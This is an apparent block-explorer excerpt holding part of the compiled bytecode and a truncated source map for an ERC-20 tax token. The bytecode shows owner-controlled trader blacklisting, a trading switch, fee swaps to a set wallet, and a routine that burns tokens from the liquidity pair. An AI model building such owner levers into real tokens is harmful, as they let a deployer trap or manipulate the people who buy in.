06f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161078f565b61080081611281565b6001600160a01b038316610fee5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161078f565b6001600160a01b03821661104f5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161078f565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b60165460ff16156110c9576110c68383836112fe565b90505b6110d4838383611a3b565b505050565b6005546001600160a01b0316331461091a5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161078f565b6001600160a01b0382166111935760405162461bcd60e51b815260206004820152602160248201527f45524332303a206275726e2066726f6d20746865207a65726f206164647265736044820152607360f81b606482015260840161078f565b6001600160a01b038216600090815260208190526040902054818110156112075760405162461bcd60e51b815260206004820152602260248201527f45524332303a206275726e20616d6f756e7420657863656564732062616c616e604482015261636560f01b606482015260840161078f565b6001600160a01b03831660009081526020819052604081208383039055600280548492906112369084906120b9565b90915550506040518281526000906001600160a01b038516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a3505050565b600580546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b6001600160a01b03919091166000908152601460205260409020805460ff1916911515919091179055565b600061130984610b5a565b15801561131c575061131a83610b5a565b155b15611a175760125460ff161561165a576005546001600160a01b0385811691161480159061135857506005546001600160a01b03848116911614155b801561136c57506001600160a01b03831615155b801561138357506001600160a01b03831661dead14155b1561165a57601254610100900460ff166113f4576113a084610b5a565b806113af57506113af83610b5a565b6113f45760405162461bcd60e51b81526020600482015260166024820152752a3930b234b7339034b9903737ba1030b1ba34bb329760511b604482015260640161078f565b6001600160a01b03841660009081526014602052604090205460ff16801561143557506001600160a01b03831660009081526015602052604090205460ff16155b15611519576010548211156114aa5760405162461bcd60e51b815260206004820152603560248201527f427579207472616e7366657220616d6f756e742065786365656473207468652060448201527436b0bc2a3930b739b0b1ba34b7b720b6b7bab73a1760591b606482015260840161078f565b6011546001600160a01b0384166000908152602081905260409020546114d09084611f2a565b11156115145760405162461bcd60e51b815260206004820152601360248201527213585e081dd85b1b195d08195e18d959591959606a1b604482015260640161078f565b61165a565b6001600160a01b03831660009081526014602052604090205460ff16801561155a57506001600160a01b03841660009081526015602052604090205460ff16155b156115d0576010548211156115145760405162461bcd60e51b815260206004820152603660248201527f53656c6c207472616e7366657220616d6f756e742065786365656473207468656044820152751036b0bc2a3930b739b0b1ba34b7b720b6b7bab73a1760511b606482015260840161078f565b6001600160a01b03831660009081526015602052604090205460ff1661165a576011546001600160a01b0384166000908152602081905260409020546116169084611f2a565b111561165a5760405162461bcd60e51b815260206004820152601360248201527213585e081dd85b1b195d08195e18d959591959606a1b604482015260640161078f565b604080516002808252606082018352600092602083019080368337019050509050308160008151811061168f5761168f6120e2565b60200260200101906001600160a01b031690816001600160a01b031681525050601660019054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611702573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611726919061206e565b81600181518110611739576117396120e2565b6001600160a01b0392831660209182029290920181019190915290861660009081526014909152604081205460ff16156117d4576000600a548561177d919061204c565b90506008548161178d919061202d565b6117979083611f2a565b915081156117aa576117aa8730846110b0565b6008546117b7908261202d565b601960008282546117c89190611f2a565b90915550611a04915050565b6001600160a01b03851660009081526014602052604090205460ff1615611a04576000600e5485611805919061204c565b9050600c5481611815919061202d565b61181f9083611f2a565b91508115611832576118328730846110b0565b600c54601960008282546118469190611f2a565b9091555050601954600081900361186357859450505050506107ab565b60165460195460405163d06ca61f60e01b815260009261010090046001600160a01b03169163d06ca61f9161189d9190899060040161213c565b600060405180830381865afa1580156118ba573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f191682016040526118e29190810190612155565b6001815181106118f4576118f46120e2565b602002602001015190506000811115611a005760195460165447919061192a90309061010090046001600160a01b031683610f8c565b6016546040516318cbafe560e01b81526101009091046001600160a01b0316906318cbafe5906119679084906000908c9030904290600401612213565b6000604051808303816000875af1158015611986573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f191682016040526119ae9190810190612155565b5060006119bb83476120b9565b600f546040519192506001600160a01b03169082156108fc029083906000818181858888f193505050501580156119f6573d6000803e3d6000fd5b5050600060195550505b5050505b611a0e81856120b9565b93505050611a34565b61deac196001600160a01b03841601611a3457611a32611c0a565b505b5092915050565b6001600160a01b038316611a9f5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161078f565b6001600160a01b038216611b015760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161078f565b6001600160a01b03831660009081526020819052604090205481811015611b795760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b606482015260840161078f565b6001600160a01b03808516600090815260208190526040808220858503905591851681529081208054849290611bb0908490611f2a565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611bfc91815260200190565b60405180910390a350505050565b6018546040516370a0823160e01b81526001600160a01b039091166004820152600090819030906370a0823190602401602060405180830381865afa158015611c57573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611c7b919061224f565b90506000611c8d82600261270f610be9565b90508015611cab57601854611cab906001600160a01b031682611133565b6018546040805160016209351760e01b0319815290516001600160a01b0390921691829163fff6cae991600480830192600092919082900301818387803b158015611cf557600080fd5b505af1158015611d09573d6000803e3d6000fd5b505050506001935050505090565b600060208083528351808285015260005b81811015611d4457858101830151858201604001528201611d28565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461080057600080fd5b60008060408385031215611d8d57600080fd5b8235611d9881611d65565b946020939093013593505050565b600060208284031215611db857600080fd5b81356107ab81611d65565b600080600060608486031215611dd857600080fd5b8335611de381611d65565b92506020840135611df381611d65565b929592945050506040919091013590565b600060208284031215611e1657600080fd5b5035919050565b60008060408385031215611e3057600080fd5b8235611e3b81611d65565b915060208301358015158114611e5057600080fd5b809150509250929050565b600080600060608486031215611e7057600080fd5b83359250602084013560ff81168114611e8857600080fd5b9150604084013563ffffffff81168114611ea157600080fd5b809150509250925092565b60008060408385031215611ebf57600080fd5b8235611eca81611d65565b91506020830135611e5081611d65565b600181811c90821680611eee57607f821691505b602082108103611f0e57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b808201808211156106fb576106fb611f14565b600181815b80851115611f78578160001904821115611f5e57611f5e611f14565b80851615611f6b57918102915b93841c9390800290611f42565b509250929050565b600082611f8f575060016106fb565b81611f9c575060006106fb565b8160018114611fb25760028114611fbc57611fd8565b60019150506106fb565b60ff841115611fcd57611fcd611f14565b50506001821b6106fb565b5060208310610133831016604e8410600b8410161715611ffb575081810a6106fb565b6120058383611f3d565b806000190482111561201957612019611f14565b029392505050565b60006107ab8383611f80565b600081600019048311821515161561204757612047611f14565b500290565b60008261206957634e487b7160e01b600052601260045260246000fd5b500490565b60006020828403121561208057600080fd5b81516107ab81611d65565b6000806000606084860312156120a057600080fd5b8351925060208401519150604084015190509250925092565b818103818111156106fb576106fb611f14565b634e487b7160e01b600052604160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b600081518084526020808501945080840160005b838110156121315781516001600160a01b03168752958201959082019060010161210c565b509495945050505050565b828152604060208201526000610c1e60408301846120f8565b6000602080838503121561216857600080fd5b825167ffffffffffffffff8082111561218057600080fd5b818501915085601f83011261219457600080fd5b8151818111156121a6576121a66120cc565b8060051b604051601f19603f830116810181811085821117156121cb576121cb6120cc565b6040529182528482019250838101850191888311156121e957600080fd5b938501935b82851015612207578451845293850193928501926121ee565b98975050505050505050565b85815284602082015260a06040820152600061223260a08301866120f8565b6001600160a01b0394909416606083015250608001529392505050565b60006020828403121561226157600080fd5b505191905056fea2646970667358221220444b90e5b5efe8ce64ad899be9aa5af62c28fc223a51a6c1c89b1b5edc69fb3a64736f6c63430008100033

Deployed Bytecode Sourcemap

30061:10254:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6281:100;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8514:194;;;;;;;;;;-1:-1:-1;8514:194:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;8514:194:0;1023:187:1;30740:63:0;;;;;;;;;;-1:-1:-1;30740:63:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;7401:108;;;;;;;;;;-1:-1:-1;7489:12:0;;7401:108;;;1613:25:1;;;1601:2;1586:18;7401:108:0;1467:177:1;30812:28:0;;;;;;;;;;-1:-1:-1;30812:28:0;;;;;;;;9190:529;;;;;;;;;;-1:-1:-1;9190:529:0;;;;;:::i;:::-;;:::i;7243:93::-;;;;;;;;;;-1:-1:-1;7243:93:0;;7326:2;2252:36:1;;2240:2;2225:18;7243:93:0;2110:184:1;10128:290:0;;;;;;;;;;-1:-1:-1;10128:290:0;;;;;:::i;:::-;;:::i;37235:93::-;;;;;;;;;;-1:-1:-1;37235:93:0;;;;;:::i;:::-;;:::i;:::-;;30544:33;;;;;;;;;;-1:-1:-1;30544:33:0;;;;;;;;38400:179;;;;;;;;;;-1:-1:-1;38400:179:0;;;;;:::i;:::-;;:::i;39757:140::-;;;;;;;;;;;;;:::i;30435:25::-;;;;;;;;;;-1:-1:-1;30435:25:0;;;;-1:-1:-1;;;;;30435:25:0;;;;;;-1:-1:-1;;;;;2648:32:1;;;2630:51;;2618:2;2603:18;30435:25:0;2484:203:1;7572:143:0;;;;;;;;;;-1:-1:-1;7572:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;7689:18:0;7662:7;7689:18;;;;;;;;;;;;7572:143;18294:103;;;;;;;;;;;;;:::i;39484:121::-;;;;;;;;;;;;;:::i;38587:169::-;;;;;;;;;;-1:-1:-1;38587:169:0;;;;;:::i;:::-;;:::i;39613:83::-;;;;;;;;;;;;;:::i;17646:87::-;;;;;;;;;;-1:-1:-1;17719:6:0;;-1:-1:-1;;;;;17719:6:0;17646:87;;30677:56;;;;;;;;;;-1:-1:-1;30677:56:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;6500:104;;;;;;;;;;;;;:::i;39025:314::-;;;;;;;;;;-1:-1:-1;39025:314:0;;;;;:::i;:::-;;:::i;10921:475::-;;;;;;;;;;-1:-1:-1;10921:475:0;;;;;:::i;:::-;;:::i;7928:200::-;;;;;;;;;;-1:-1:-1;7928:200:0;;;;;:::i;:::-;;:::i;38836:181::-;;;;;;;;;;-1:-1:-1;38836:181:0;;;;;:::i;:::-;;:::i;30584:33::-;;;;;;;;;;-1:-1:-1;30584:33:0;;;;;;;;;;;30469:35;;;;;;;;;;;;;;;;40202:110;;;;;;;;;;-1:-1:-1;40202:110:0;;;;;:::i;:::-;;:::i;39959:142::-;;;;;;;;;;;;;:::i;37373:240::-;;;;;;;;;;-1:-1:-1;37373:240:0;;;;;:::i;:::-;;:::i;8191:176::-;;;;;;;;;;-1:-1:-1;8191:176:0;;;;;:::i;:::-;-1:-1:-1;;;;;8332:18:0;;;8305:7;8332:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;8191:176;31648:990;;;:::i;18552:238::-;;;;;;;;;;-1:-1:-1;18552:238:0;;;;;:::i;:::-;;:::i;30511:24::-;;;;;;;;;;;;;;;;6281:100;6335:13;6368:5;6361:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6281:100;:::o;8514:194::-;8622:4;8639:39;4180:10;8662:7;8671:6;8639:8;:39::i;:::-;-1:-1:-1;8696:4:0;8514:194;;;;;:::o;9190:529::-;9330:4;9347:36;9357:6;9365:9;9376:6;9347:9;:36::i;:::-;-1:-1:-1;;;;;9423:19:0;;9396:24;9423:19;;;:11;:19;;;;;;;;4180:10;9423:33;;;;;;;;9489:26;;;;9467:116;;;;-1:-1:-1;;;9467:116:0;;4607:2:1;9467:116:0;;;4589:21:1;4646:2;4626:18;;;4619:30;4685:34;4665:18;;;4658:62;-1:-1:-1;;;4736:18:1;;;4729:38;4784:19;;9467:116:0;;;;;;;;;9619:57;9628:6;4180:10;9669:6;9650:16;:25;9619:8;:57::i;:::-;9707:4;9700:11;;;9190:529;;;;;;:::o;10128:290::-;4180:10;10241:4;10330:25;;;:11;:25;;;;;;;;-1:-1:-1;;;;;10330:34:0;;;;;;;;;;10241:4;;10258:130;;10308:7;;10330:47;;10367:10;;10330:47;:::i;:::-;10258:8;:130::i;37235:93::-;17532:13;:11;:13::i;:::-;37295:25:::1;37301:10;37313:6;37295:5;:25::i;:::-;37235:93:::0;:::o;38400:179::-;17532:13;:11;:13::i;:::-;38471:19:::1;38482:7;38471:10;:19::i;:::-;38470:20;38462:71;;;::::0;-1:-1:-1;;;38462:71:0;;5278:2:1;38462:71:0::1;::::0;::::1;5260:21:1::0;5317:2;5297:18;;;5290:30;5356:34;5336:18;;;5329:62;-1:-1:-1;;;5407:18:1;;;5400:36;5453:19;;38462:71:0::1;5076:402:1::0;38462:71:0::1;-1:-1:-1::0;;;;;38544:20:0::1;;::::0;;;:11:::1;:20;::::0;;;;:27;;-1:-1:-1;;38544:27:0::1;38567:4;38544:27;::::0;;38400:179::o;39757:140::-;17532:13;:11;:13::i;:::-;39815:9:::1;::::0;::::1;;39814:10;39806:56;;;::::0;-1:-1:-1;;;39806:56:0;;5685:2:1;39806:56:0::1;::::0;::::1;5667:21:1::0;5724:2;5704:18;;;5697:30;5763:34;5743:18;;;5736:62;-1:-1:-1;;;5814:18:1;;;5807:31;5855:19;;39806:56:0::1;5483:397:1::0;39806:56:0::1;39873:9;:16:::0;;-1:-1:-1;;39873:16:0::1;39885:4;39873:16;::::0;;39757:140::o;18294:103::-;17532:13;:11;:13::i;:::-;18359:30:::1;18386:1;18359:18;:30::i;:::-;18294:103::o:0;39484:121::-;39536:4;17532:13;:11;:13::i;:::-;-1:-1:-1;39553:14:0::1;:22:::0;;-1:-1:-1;;39553:22:0::1;::::0;;;39484:121;:::o;38587:169::-;17532:13;:11;:13::i;:::-;-1:-1:-1;;;;;38702:39:0;;;::::1;;::::0;;;:31:::1;:39;::::0;;;;:46;;-1:-1:-1;;38702:46:0::1;::::0;::::1;;::::0;;;::::1;::::0;;38587:169::o;39613:83::-;17532:13;:11;:13::i;:::-;39668::::1;:20:::0;;-1:-1:-1;;39668:20:0::1;;;::::0;;39613:83::o;6500:104::-;6556:13;6589:7;6582:14;;;;;:::i;39025:314::-;17532:13;:11;:13::i;:::-;39179::::1;::::0;-1:-1:-1;;;;;39179:13:0;;::::1;39163:30:::0;;::::1;::::0;39141:136:::1;;;::::0;-1:-1:-1;;;39141:136:0;;6087:2:1;39141:136:0::1;::::0;::::1;6069:21:1::0;6126:2;6106:18;;;6099:30;6165:34;6145:18;;;6138:62;6236:26;6216:18;;;6209:54;6280:19;;39141:136:0::1;5885:420:1::0;39141:136:0::1;39290:41;39319:4;39325:5;39290:28;:41::i;:::-;39025:314:::0;;:::o;10921:475::-;4180:10;11039:4;11083:25;;;:11;:25;;;;;;;;-1:-1:-1;;;;;11083:34:0;;;;;;;;;;11150:35;;;;11128:122;;;;-1:-1:-1;;;11128:122:0;;6512:2:1;11128:122:0;;;6494:21:1;6551:2;6531:18;;;6524:30;6590:34;6570:18;;;6563:62;-1:-1:-1;;;6641:18:1;;;6634:35;6686:19;;11128:122:0;6310:401:1;11128:122:0;11286:67;4180:10;11309:7;11337:15;11318:16;:34;11286:8;:67::i;:::-;-1:-1:-1;11384:4:0;;10921:475;-1:-1:-1;;;10921:475:0:o;7928:200::-;8039:4;8056:42;4180:10;8080:9;8091:6;8056:9;:42::i;38836:181::-;17532:13;:11;:13::i;:::-;38912:19:::1;38923:7;38912:10;:19::i;:::-;38904:66;;;::::0;-1:-1:-1;;;38904:66:0;;6918:2:1;38904:66:0::1;::::0;::::1;6900:21:1::0;6957:2;6937:18;;;6930:30;6996:34;6976:18;;;6969:62;-1:-1:-1;;;7047:18:1;;;7040:32;7089:19;;38904:66:0::1;6716:398:1::0;38904:66:0::1;-1:-1:-1::0;;;;;38981:20:0::1;39004:5;38981:20:::0;;;:11:::1;:20;::::0;;;;:28;;-1:-1:-1;;38981:28:0::1;::::0;;38836:181::o;40202:110::-;-1:-1:-1;;;;;40284:20:0;40260:4;40284:20;;;:11;:20;;;;;;;;;40202:110::o;39959:142::-;17532:13;:11;:13::i;:::-;40017:9:::1;::::0;::::1;;40009:56;;;::::0;-1:-1:-1;;;40009:56:0;;7321:2:1;40009:56:0::1;::::0;::::1;7303:21:1::0;7360:2;7340:18;;;7333:30;7399:34;7379:18;;;7372:62;-1:-1:-1;;;7450:18:1;;;7443:32;7492:19;;40009:56:0::1;7119:398:1::0;40009:56:0::1;40076:9;:17:::0;;-1:-1:-1;;40076:17:0::1;::::0;;39959:142::o;37373:240::-;37509:14;37578:25;:21;;;37602:1;37578:25;:::i;:::-;37571:33;;:2;:33;:::i;:::-;37545:22;;;;:7;:22;:::i;:::-;:60;;;;:::i;:::-;37536:69;37373:240;-1:-1:-1;;;;37373:240:0:o;31648:990::-;17532:13;:11;:13::i;:::-;31713:17:::1;:106:::0;;;-1:-1:-1;;;;;;31713:106:0;;::::1;;::::0;;;;31867:27:::1;::::0;;-1:-1:-1;;;31867:27:0;;;;31713:106:::1;31867:17:::0;;::::1;-1:-1:-1::0;;;;;31867:17:0::1;::::0;:25:::1;::::0;:27:::1;::::0;;::::1;::::0;::::1;::::0;;;;;;;;;:17;:27:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;31830:16;:65:::0;;-1:-1:-1;;;;;;31830:65:0::1;-1:-1:-1::0;;;;;31830:65:0;;::::1;::::0;;::::1;::::0;;;31994:17:::1;::::0;:24:::1;::::0;;-1:-1:-1;;;31994:24:0;;;;31830:65;;31951:27:::1;::::0;31987:4:::1;::::0;31830:65:::1;31994:17:::0;::::1;::::0;;::::1;::::0;:22:::1;::::0;:24:::1;::::0;;::::1;::::0;::::1;::::0;;;;;;;;:17;:24:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;31951:68;::::0;-1:-1:-1;;;;;;31951:68:0::1;::::0;;;;;;-1:-1:-1;;;;;9777:15:1;;;31951:68:0::1;::::0;::::1;9759:34:1::0;9829:15;;9809:18;;;9802:43;9694:18;;31951:68:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;31906:13;:124:::0;;-1:-1:-1;;;;;;31906:124:0::1;-1:-1:-1::0;;;;;31906:124:0;;;::::1;::::0;;::::1;::::0;;32043:58:::1;::::0;-1:-1:-1;32043:28:0::1;:58::i;:::-;32144:17;::::0;32112:64:::1;::::0;32129:4:::1;::::0;32144:17:::1;::::0;::::1;-1:-1:-1::0;;;;;32144:17:0::1;-1:-1:-1::0;;32112:8:0::1;:64::i;:::-;32187:17;::::0;32261:4:::1;7662:7:::0;7689:18;;;;;;;;;;;32187:17:::1;::::0;;::::1;-1:-1:-1::0;;;;;32187:17:0::1;::::0;:33:::1;::::0;32228:9:::1;::::0;32320:1:::1;32336::::0;32352:7:::1;17719:6:::0;;-1:-1:-1;;;;;17719:6:0;;17646:87;32352:7:::1;32187:213;::::0;::::1;::::0;;;-1:-1:-1;;;;;;32187:213:0;;;-1:-1:-1;;;;;10215:15:1;;;32187:213:0::1;::::0;::::1;10197:34:1::0;10247:18;;;10240:34;;;;10290:18;;;10283:34;;;;10333:18;;;10326:34;10397:15;;;10376:19;;;10369:44;32374:15:0::1;10429:19:1::0;;;10422:35;10131:19;;32187:213:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;32423:1:0::1;32411:9;:13:::0;;;32453:1:::1;32435:15;:19:::0;;;32465:15:::1;:19:::0;;;32509:3:::1;32495:11;:17:::0;;;32525:10:::1;:14:::0;;;32550:16:::1;:20:::0;;;;32581:16:::1;:20:::0;;;;32612:12:::1;:18:::0;-1:-1:-1;31648:990:0:o;18552:238::-;17532:13;:11;:13::i;:::-;-1:-1:-1;;;;;18655:22:0;::::1;18633:110;;;::::0;-1:-1:-1;;;18633:110:0;;10981:2:1;18633:110:0::1;::::0;::::1;10963:21:1::0;11020:2;11000:18;;;10993:30;11059:34;11039:18;;;11032:62;-1:-1:-1;;;11110:18:1;;;11103:36;11156:19;;18633:110:0::1;10779:402:1::0;18633:110:0::1;18754:28;18773:8;18754:18;:28::i;14704:380::-:0;-1:-1:-1;;;;;14840:19:0;;14832:68;;;;-1:-1:-1;;;14832:68:0;;11388:2:1;14832:68:0;;;11370:21:1;11427:2;11407:18;;;11400:30;11466:34;11446:18;;;11439:62;-1:-1:-1;;;11517:18:1;;;11510:34;11561:19;;14832:68:0;11186:400:1;14832:68:0;-1:-1:-1;;;;;14919:21:0;;14911:68;;;;-1:-1:-1;;;14911:68:0;;11793:2:1;14911:68:0;;;11775:21:1;11832:2;11812:18;;;11805:30;11871:34;11851:18;;;11844:62;-1:-1:-1;;;11922:18:1;;;11915:32;11964:19;;14911:68:0;11591:398:1;14911:68:0;-1:-1:-1;;;;;14992:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;15044:32;;1613:25:1;;;15044:32:0;;1586:18:1;15044:32:0;;;;;;;14704:380;;;:::o;36930:297::-;37075:9;;;;37071:94;;;37110:43;37127:6;37135:9;37146:6;37110:16;:43::i;:::-;37101:52;;37071:94;37177:42;37193:6;37201:9;37212:6;37177:15;:42::i;:::-;36930:297;;;:::o;17811:132::-;17719:6;;-1:-1:-1;;;;;17719:6:0;4180:10;17875:23;17867:68;;;;-1:-1:-1;;;17867:68:0;;12196:2:1;17867:68:0;;;12178:21:1;;;12215:18;;;12208:30;12274:34;12254:18;;;12247:62;12326:18;;17867:68:0;11994:356:1;13675:591:0;-1:-1:-1;;;;;13759:21:0;;13751:67;;;;-1:-1:-1;;;13751:67:0;;12557:2:1;13751:67:0;;;12539:21:1;12596:2;12576:18;;;12569:30;12635:34;12615:18;;;12608:62;-1:-1:-1;;;12686:18:1;;;12679:31;12727:19;;13751:67:0;12355:397:1;13751:67:0;-1:-1:-1;;;;;13918:18:0;;13893:22;13918:18;;;;;;;;;;;13955:24;;;;13947:71;;;;-1:-1:-1;;;13947:71:0;;12959:2:1;13947:71:0;;;12941:21:1;12998:2;12978:18;;;12971:30;13037:34;13017:18;;;13010:62;-1:-1:-1;;;13088:18:1;;;13081:32;13130:19;;13947:71:0;12757:398:1;13947:71:0;-1:-1:-1;;;;;14054:18:0;;:9;:18;;;;;;;;;;14075:23;;;14054:44;;14120:12;:22;;14092:6;;14054:9;14120:22;;14092:6;;14120:22;:::i;:::-;;;;-1:-1:-1;;14160:37:0;;1613:25:1;;;14186:1:0;;-1:-1:-1;;;;;14160:37:0;;;;;1601:2:1;1586:18;14160:37:0;;;;;;;36930:297;;;:::o;18950:191::-;19043:6;;;-1:-1:-1;;;;;19060:17:0;;;-1:-1:-1;;;;;;19060:17:0;;;;;;;19093:40;;19043:6;;;19060:17;19043:6;;19093:40;;19024:16;;19093:40;19013:128;18950:191;:::o;39347:129::-;-1:-1:-1;;;;;39430:30:0;;;;;;;;:24;:30;;;;;:38;;-1:-1:-1;;39430:38:0;;;;;;;;;;39347:129::o;32981:3941::-;33100:7;33125:16;33136:4;33125:10;:16::i;:::-;33124:17;:36;;;;;33146:14;33157:2;33146:10;:14::i;:::-;33145:15;33124:36;33120:3769;;;33185:14;;;;33181:1718;;;17719:6;;-1:-1:-1;;;;;33246:15:0;;;17719:6;;33246:15;;;;:53;;-1:-1:-1;17719:6:0;;-1:-1:-1;;;;;33286:13:0;;;17719:6;;33286:13;;33246:53;:94;;;;-1:-1:-1;;;;;;33324:16:0;;;;33246:94;:140;;;;-1:-1:-1;;;;;;33365:21:0;;33379:6;33365:21;;33246:140;33220:1664;;;33434:13;;;;;;;33429:225;;33514:16;33525:4;33514:10;:16::i;:::-;:34;;;;33534:14;33545:2;33534:10;:14::i;:::-;33476:154;;;;-1:-1:-1;;;33476:154:0;;13495:2:1;33476:154:0;;;13477:21:1;13534:2;13514:18;;;13507:30;-1:-1:-1;;;13553:18:1;;;13546:52;13615:18;;33476:154:0;13293:346:1;33476:154:0;-1:-1:-1;;;;;33714:30:0;;;;;;:24;:30;;;;;;;;:70;;;;-1:-1:-1;;;;;;33749:35:0;;;;;;:31;:35;;;;;;;;33748:36;33714:70;33710:1155;;;33861:20;;33851:6;:30;;33813:181;;;;-1:-1:-1;;;33813:181:0;;13846:2:1;33813:181:0;;;13828:21:1;13885:2;13865:18;;;13858:30;13924:34;13904:18;;;13897:62;-1:-1:-1;;;13975:18:1;;;13968:51;14036:19;;33813:181:0;13644:417:1;33813:181:0;34085:9;;-1:-1:-1;;;;;7689:18:0;;7662:7;7689:18;;;;;;;;;;;34059:22;;:6;:22;:::i;:::-;:35;;34021:152;;;;-1:-1:-1;;;34021:152:0;;14268:2:1;34021:152:0;;;14250:21:1;14307:2;14287:18;;;14280:30;-1:-1:-1;;;14326:18:1;;;14319:49;14385:18;;34021:152:0;14066:343:1;34021:152:0;33710:1155;;;-1:-1:-1;;;;;34287:28:0;;;;;;:24;:28;;;;;;;;:70;;;;-1:-1:-1;;;;;;34320:37:0;;;;;;:31;:37;;;;;;;;34319:38;34287:70;34257:608;;;34456:20;;34446:6;:30;;34408:182;;;;-1:-1:-1;;;34408:182:0;;14616:2:1;34408:182:0;;;14598:21:1;14655:2;14635:18;;;14628:30;14694:34;14674:18;;;14667:62;-1:-1:-1;;;14745:18:1;;;14738:52;14807:19;;34408:182:0;14414:418:1;34257:608:0;-1:-1:-1;;;;;34625:35:0;;;;;;:31;:35;;;;;;;;34620:245;;34753:9;;-1:-1:-1;;;;;7689:18:0;;7662:7;7689:18;;;;;;;;;;;34727:22;;:6;:22;:::i;:::-;:35;;34689:152;;;;-1:-1:-1;;;34689:152:0;;14268:2:1;34689:152:0;;;14250:21:1;14307:2;14287:18;;;14280:30;-1:-1:-1;;;14326:18:1;;;14319:49;14385:18;;34689:152:0;14066:343:1;34689:152:0;34955:16;;;34969:1;34955:16;;;;;;;;34927:25;;34955:16;;;;;;;;;;-1:-1:-1;34955:16:0;34927:44;;35008:4;34986:8;34995:1;34986:11;;;;;;;;:::i;:::-;;;;;;:27;-1:-1:-1;;;;;34986:27:0;;;-1:-1:-1;;;;;34986:27:0;;;;;35042:17;;;;;;;;;-1:-1:-1;;;;;35042:17:0;-1:-1:-1;;;;;35042:22:0;;:24;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;35028:8;35037:1;35028:11;;;;;;;;:::i;:::-;-1:-1:-1;;;;;35028:38:0;;;:11;;;;;;;;;;:38;;;;35121:30;;;35091:11;35121:30;;;:24;:30;;;;;;;;;35117:1660;;;35172:16;35200:11;;35191:6;:20;;;;:::i;:::-;35172:39;;35248:15;;35237:8;:26;;;;:::i;:::-;35230:33;;;;:::i;:::-;;-1:-1:-1;35288:7:0;;35284:91;;35320:35;35330:4;35344;35351:3;35320:9;:35::i;:::-;35425:15;;35414:26;;:8;:26;:::i;:::-;35395:15;;:45;;;;;;;:::i;:::-;;;;-1:-1:-1;35117:1660:0;;-1:-1:-1;;35117:1660:0;;-1:-1:-1;;;;;35466:28:0;;;;;;:24;:28;;;;;;;;35462:1315;;;35515:16;35543:12;;35534:6;:21;;;;:::i;:::-;35515:40;;35592:16;;35581:8;:27;;;;:::i;:::-;35574:34;;;;:::i;:::-;;-1:-1:-1;35633:7:0;;35629:91;;35665:35;35675:4;35689;35696:3;35665:9;:35::i;:::-;35759:16;;35740:15;;:35;;;;;;;:::i;:::-;;;;-1:-1:-1;;35813:15:0;;35796:14;35853:11;;;35849:30;;35873:6;35866:13;;;;;;;;35849:30;35919:17;;35973:15;;35919:119;;-1:-1:-1;;;35919:119:0;;35900:16;;35919:17;;;-1:-1:-1;;;;;35919:17:0;;:31;;:119;;35973:15;36011:8;;35919:119;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;35919:119:0;;;;;;;;;;;;:::i;:::-;36039:1;35919:122;;;;;;;;:::i;:::-;;;;;;;35900:141;;36077:1;36066:8;:12;36062:700;;;36